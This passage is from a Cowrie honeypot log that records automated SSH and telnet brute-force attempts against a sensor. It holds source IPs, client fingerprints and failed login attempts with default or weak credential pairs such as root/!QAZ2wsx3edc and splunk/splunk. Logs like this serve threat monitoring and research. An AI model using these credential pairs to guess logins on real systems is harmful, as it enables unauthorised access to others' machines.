sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:34.636895Z","src_ip":"192.109.200.78","session":"c37d57b2b43d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:34.880233Z","src_ip":"192.109.200.78","session":"c37d57b2b43d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:35.964393Z","src_ip":"192.109.200.78","session":"c37d57b2b43d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59984,"dst_ip":"10.17.0.5","dst_port":22,"session":"db34f54ee413","protocol":"ssh","message":"New connection: 192.109.200.78:59984 (10.17.0.5:22) [session: db34f54ee413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:38.054234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:38.082277Z","src_ip":"192.109.200.78","session":"db34f54ee413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:38.137020Z","src_ip":"192.109.200.78","session":"db34f54ee413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lin","password":"123456","message":"login attempt [lin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:38.455936Z","src_ip":"192.109.200.78","session":"db34f54ee413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.202","src_port":8638,"dst_ip":"10.17.0.5","dst_port":23,"session":"cedfcaf841ad","protocol":"telnet","message":"New connection: 64.62.156.202:8638 (10.17.0.5:23) [session: cedfcaf841ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:39.106727Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:39.113951Z","src_ip":"64.62.156.202","session":"cedfcaf841ad","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:39.119184Z","src_ip":"64.62.156.202","session":"cedfcaf841ad","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:39.123005Z","src_ip":"64.62.156.202","session":"cedfcaf841ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.0893411636352539,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:39.195888Z","src_ip":"64.62.156.202","session":"cedfcaf841ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:39.542616Z","src_ip":"192.109.200.78","session":"db34f54ee413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:40.353991Z","src_ip":"66.132.195.70","session":"22749d7fa30b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59992,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c1deb6532ee","protocol":"ssh","message":"New connection: 192.109.200.78:59992 (10.17.0.5:22) [session: 0c1deb6532ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:41.449263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:41.454512Z","src_ip":"192.109.200.78","session":"0c1deb6532ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:41.543660Z","src_ip":"192.109.200.78","session":"0c1deb6532ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:41.790414Z","src_ip":"192.109.200.78","session":"0c1deb6532ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:42.875031Z","src_ip":"192.109.200.78","session":"0c1deb6532ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.369718074798584,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:43.243798Z","src_ip":"172.81.62.90","session":"054ee3c23baa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58804,"dst_ip":"10.17.0.5","dst_port":22,"session":"f13c955fc1ee","protocol":"ssh","message":"New connection: 192.109.200.78:58804 (10.17.0.5:22) [session: f13c955fc1ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:44.815916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:44.819618Z","src_ip":"192.109.200.78","session":"f13c955fc1ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:44.901452Z","src_ip":"192.109.200.78","session":"f13c955fc1ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"redhat","message":"login attempt [student/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:45.146400Z","src_ip":"192.109.200.78","session":"f13c955fc1ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:46.230337Z","src_ip":"192.109.200.78","session":"f13c955fc1ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":59596,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebc43f496c8b","protocol":"ssh","message":"New connection: 103.82.132.16:59596 (10.17.0.5:22) [session: ebc43f496c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:47.006956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:47.010651Z","src_ip":"103.82.132.16","session":"ebc43f496c8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:47.252465Z","src_ip":"103.82.132.16","session":"ebc43f496c8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":40656,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6102126e0f5","protocol":"telnet","message":"New connection: 172.81.62.90:40656 (10.17.0.5:23) [session: d6102126e0f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:47.746461Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"280989","message":"login attempt [root/280989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:47.979644Z","src_ip":"103.82.132.16","session":"ebc43f496c8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58820,"dst_ip":"10.17.0.5","dst_port":22,"session":"0eb9da00d625","protocol":"ssh","message":"New connection: 192.109.200.78:58820 (10.17.0.5:22) [session: 0eb9da00d625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:48.459487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:48.463925Z","src_ip":"192.109.200.78","session":"0eb9da00d625","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:48.545406Z","src_ip":"192.109.200.78","session":"0eb9da00d625","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc","message":"login attempt [root/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:48.790372Z","src_ip":"192.109.200.78","session":"0eb9da00d625","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:49.225471Z","src_ip":"103.82.132.16","session":"ebc43f496c8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:49.877599Z","src_ip":"192.109.200.78","session":"0eb9da00d625","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":32982,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5d2524579e4","protocol":"ssh","message":"New connection: 192.109.200.78:32982 (10.17.0.5:22) [session: a5d2524579e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:51.869538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:51.873978Z","src_ip":"192.109.200.78","session":"a5d2524579e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:51.958300Z","src_ip":"192.109.200.78","session":"a5d2524579e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234567890","message":"login attempt [minecraft/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:52.200917Z","src_ip":"192.109.200.78","session":"a5d2524579e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:53.283252Z","src_ip":"192.109.200.78","session":"a5d2524579e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":32986,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3bc9608e84c","protocol":"ssh","message":"New connection: 192.109.200.78:32986 (10.17.0.5:22) [session: c3bc9608e84c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:55.553237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:55.556535Z","src_ip":"192.109.200.78","session":"c3bc9608e84c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:55.636626Z","src_ip":"192.109.200.78","session":"c3bc9608e84c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"chris","message":"login attempt [aaa/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:55.880458Z","src_ip":"192.109.200.78","session":"c3bc9608e84c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":53412,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a07f8f3b35a","protocol":"telnet","message":"New connection: 166.62.124.255:53412 (159.203.135.109:23) [session: 4a07f8f3b35a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:56.077158Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:56.963998Z","src_ip":"192.109.200.78","session":"c3bc9608e84c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":32994,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9c419c14b10","protocol":"ssh","message":"New connection: 192.109.200.78:32994 (10.17.0.5:22) [session: f9c419c14b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:58.906699Z"}
